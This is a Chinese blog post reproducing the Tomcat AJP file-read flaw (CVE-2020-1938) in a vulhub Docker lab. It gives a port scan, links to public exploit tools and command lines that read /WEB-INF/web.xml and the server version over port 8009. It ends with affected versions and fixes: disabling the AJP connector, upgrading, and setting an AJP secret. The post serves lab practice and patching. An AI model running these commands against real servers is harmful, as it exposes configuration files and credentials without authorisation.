Tomcat AJP 文件包含漏洞复现(CVE-2020-1938)

漏洞原理

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。

环境搭建

靶机 kali2020 ,使用docker容器,进入vulhub-master/tomcat/CVE-2020-1938目录下一键启动

sudo docker-compose up -d

 web访问启动地址,成功获取web页面,服务启动成功

 

漏洞复现

使用nmap扫描端口

nmap 192.168.177.137

 成功读取web.xml文件内容

工具地址:

https://github.com/0nise/CVE-2020-1938

java -jar 1.jar  192.168.177.137 8009 file /WEB-INF/web.xml //使用java工具读取

 或者使用python脚本检测:

https://github.com/hypn0s/AJPy

 读取Tomcat版本

python2 tomcat.py version 192.168.177.137

 读取web.xml文件内容

python2 tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.177.137

漏洞复现是流量显示,服务器返回信息:

 

 

漏洞修复

影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

修复建议

1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443"/>;

2、升级最新版本;
3、Tomcat 7和Tomcat 9可为AJP Connector配置secret来设置AJP协议的认证凭证;
4、Tomcat 8的可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。

参考链接

http://www.bubuko.com/infodetail-3432049.html

https://www.cnblogs.com/renhaoblog/p/13033734.html

https://www.jianshu.com/p/f3e4b5896edb

https://xz.aliyun.com/t/7325

https://www.freebuf.com/vuls/228108.html

免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

posted @ 2020-08-06 15:02  pipiqiu  阅读(332)  评论(0编辑  收藏  举报